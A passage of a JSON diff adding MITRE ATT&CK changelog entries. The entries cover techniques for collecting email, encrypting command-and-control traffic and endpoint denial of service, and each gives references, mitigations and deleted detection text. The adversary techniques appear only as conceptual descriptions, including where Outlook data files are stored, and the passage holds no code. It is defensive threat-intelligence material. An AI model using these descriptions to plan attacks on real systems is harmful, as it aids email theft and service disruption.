McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1041: Encrypt Sensitive Information", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0025: Cloud Service (Cloud Service Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0576: Email Forwarding Rule Abuse Detection Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-19 18:46:06.098000+00:00", + "modified": "2025-10-24 17:48:29.669000+00:00", + "name": "Local Email Collection", + "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114/001", + "external_id": "T1114.001" + }, + { + "source_name": "Outlook File Sizes", + "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.", + "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/" + }, + { + "source_name": "Microsoft Outlook Files", + "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.", + "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.669000+00:00\", \"old_value\": \"2025-04-25 14:46:00.964000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1041: Encrypt Sensitive Information", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0047: Detect Local Email Collection via Outlook Data File Access and Command Line Tooling" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-19 18:52:24.547000+00:00", + "modified": "2025-10-24 17:49:15.355000+00:00", + "name": "Remote Email Collection", + "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114/002", + "external_id": "T1114.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.355000+00:00\", \"old_value\": \"2025-04-15 22:59:50.429000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0048: Detect Remote Email Collection via Abnormal Login and Programmatic Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:33:01.739000+00:00", + "modified": "2025-10-24 17:49:17.042000+00:00", + "name": "Encrypted Channel", + "description": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1573", + "external_id": "T1573" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.042000+00:00\", \"old_value\": \"2025-04-15 19:59:01.172000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\\n-\\n-In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1020: SSL/TLS Inspection", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0273: Detection Strategy for Encrypted Channel across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:48:33.882000+00:00", + "modified": "2025-10-24 17:49:18.961000+00:00", + "name": "Asymmetric Cryptography", + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1573/002", + "external_id": "T1573.002" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.961000+00:00\", \"old_value\": \"2025-04-15 19:59:03.664000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\\n-\\n-In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1020: SSL/TLS Inspection", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0543: Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-16 15:45:17.032000+00:00", + "modified": "2025-10-24 17:48:32.429000+00:00", + "name": "Symmetric Cryptography", + "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1573/001", + "external_id": "T1573.001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.429000+00:00\", \"old_value\": \"2025-04-15 19:58:14.636000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\\n-\\n-In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0143: Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18 11:00:55.862000+00:00", + "modified": "2025-10-24 17:49:22.088000+00:00", + "name": "Endpoint Denial of Service", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499", + "external_id": "T1499" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.", + "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "source_name": "ArsTechnica Great Firewall of China", + "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.", + "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/" + }, + { + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + }, + { + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Containers", + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.088000+00:00\", \"old_value\": \"2025-04-15 22:28:03.155000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n\\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\\n\\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n-\\n-In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\\n-\\n-Externally monitor the availability of services that may be targeted by an Endpoint DoS.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0208: Endpoint Resource Saturation and Crash Pattern Detection Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:35:00.025000+00:00", + "modified": "2025-10-24 17:48:27.259000+00:00", + "name": "Application Exhaustion Flood", + "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/003", + "external_id": "T1499.003" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Sensor Health: Host Status\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.259000+00:00\", \"old_value\": \"2025-04-15 21:48:39.804000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n\\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\\n-\\n-In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact 